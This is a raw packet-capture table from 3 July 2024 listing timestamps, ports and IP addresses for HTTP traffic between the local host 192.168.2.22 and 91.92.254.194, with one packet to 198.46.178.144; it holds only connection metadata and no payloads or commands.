Jul 3, 2024 18:03:41.701502085 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701514006 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701550961 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.701724052 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701771975 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.701813936 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.851680040 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.851718903 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.851731062 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.851865053 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.851941109 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.851979971 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.852055073 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852338076 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852379084 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.852384090 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852397919 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852426052 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.852627993 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852642059 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.852683067 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.853069067 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853135109 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853144884 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853178978 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.853318930 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853329897 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853353024 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.853765965 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853802919 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.853832960 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853842974 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.853873014 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.853996992 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854007959 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854046106 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.854621887 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854705095 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854716063 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854738951 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.854849100 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854860067 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.854882002 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.855535030 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.855576992 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.855598927 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.855611086 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.855640888 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.855865955 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.855878115 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:41.855909109 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:41.856350899 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.009648085 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.009727001 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.009815931 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.009924889 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.009963036 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.010026932 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010040998 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010063887 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010073900 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.010133982 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010145903 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010183096 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.010298967 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010355949 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010366917 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010396957 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.010596037 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010607958 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010620117 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010629892 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.010642052 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.010663033 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.089337111 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.089356899 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.089370012 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.089432955 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.089435101 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.089447021 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.089505911 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.169186115 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169204950 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169217110 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169256926 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.169306040 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169323921 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169337034 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.169358015 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.169378042 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.248472929 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248497963 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248512030 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248531103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248542070 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248550892 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.248604059 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.248676062 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248687983 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248698950 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.248727083 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.257667065 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.257721901 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.321330070 CEST	49169	80	192.168.2.22	198.46.178.144
Jul 3, 2024 18:03:42.328247070 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328265905 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328279972 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328329086 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328342915 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328346014 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.328355074 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328366995 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328411102 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.328411102 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.328636885 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328649998 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.328695059 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.718674898 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.718699932 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.718712091 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.718729019 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.718741894 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.718843937 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.719402075 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.720103025 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.720158100 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.798933029 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.798952103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.798964977 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.799011946 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.799017906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.799032927 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.799046040 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.799061060 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.799086094 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.878643990 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.878659964 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.878670931 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.878844023 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.879352093 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.879364014 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.879374027 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.879385948 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.879401922 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.879422903 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.887356043 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.974803925 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.974822998 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.974834919 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.974905014 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.974932909 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.975367069 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:42.975506067 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:42.975730896 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134011984 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134032011 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134044886 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134111881 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.134397030 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134408951 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134421110 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134433031 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134459019 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.134476900 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.134526968 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134538889 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134550095 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134578943 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.134674072 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134691000 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134702921 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.134718895 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.134744883 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.213320971 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.213336945 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.213349104 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.213412046 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.213459969 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.213469982 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.213514090 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.215657949 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.215773106 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.215818882 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.292622089 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292678118 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292707920 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292759895 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292762041 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.292793036 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292799950 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.292829990 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.293113947 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.293160915 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.293199062 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.372402906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372442007 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372457981 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372515917 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.372539997 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372550964 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372561932 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372575045 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.372590065 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.372601032 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.372616053 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.372787952 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.381105900 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.381166935 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.452841043 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.452867031 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.452878952 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.452925920 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.453000069 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.453041077 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.453192949 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.453206062 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.453233004 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.453353882 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.453370094 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.453398943 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.461013079 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532651901 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532701015 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532713890 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532732964 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532748938 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.532748938 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.532784939 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532846928 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.532895088 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532907963 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.532941103 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.533029079 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.533040047 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.533077002 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.905383110 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905417919 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905428886 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905508995 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905520916 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905523062 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.905625105 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905632019 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.905663013 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.905723095 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.985229969 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985290051 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985318899 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985344887 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985346079 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.985374928 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985403061 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:43.985408068 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985436916 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:43.985456944 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.065012932 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065104961 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065140009 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065164089 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.065172911 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065207005 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065242052 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065275908 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.065275908 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.065279007 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.065337896 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.073807955 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144207001 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144228935 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144242048 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144264936 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.144293070 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144300938 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.144305944 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144350052 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.144428015 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144439936 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144484043 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.144536972 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144548893 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.144586086 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.231517076 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231589079 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231625080 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231647015 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.231659889 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231694937 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231707096 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.231729031 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231765985 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231775045 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.231862068 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231897116 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.231914997 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.310709000 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.310766935 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.310770035 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.310801029 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.310843945 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.310996056 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311031103 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311079025 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.311083078 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311116934 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311150074 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311152935 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.311263084 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311295033 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.311304092 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.390590906 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390652895 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390716076 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390749931 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390765905 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.390765905 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.390786886 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390821934 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390837908 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.390877008 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.390914917 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.390984058 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.391019106 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.391076088 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.708323002 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708343029 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708354950 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708408117 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708419085 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708496094 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.708544970 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708556890 CEST	80	49171	91.92.254.194	192.168.2.22
Jul 3, 2024 18:03:44.708574057 CEST	49171	80	192.168.2.22	91.92.254.194
Jul 3, 2024 18:03:44.708597898 CEST	49171	80	192.168.2.22	91.92.254.194
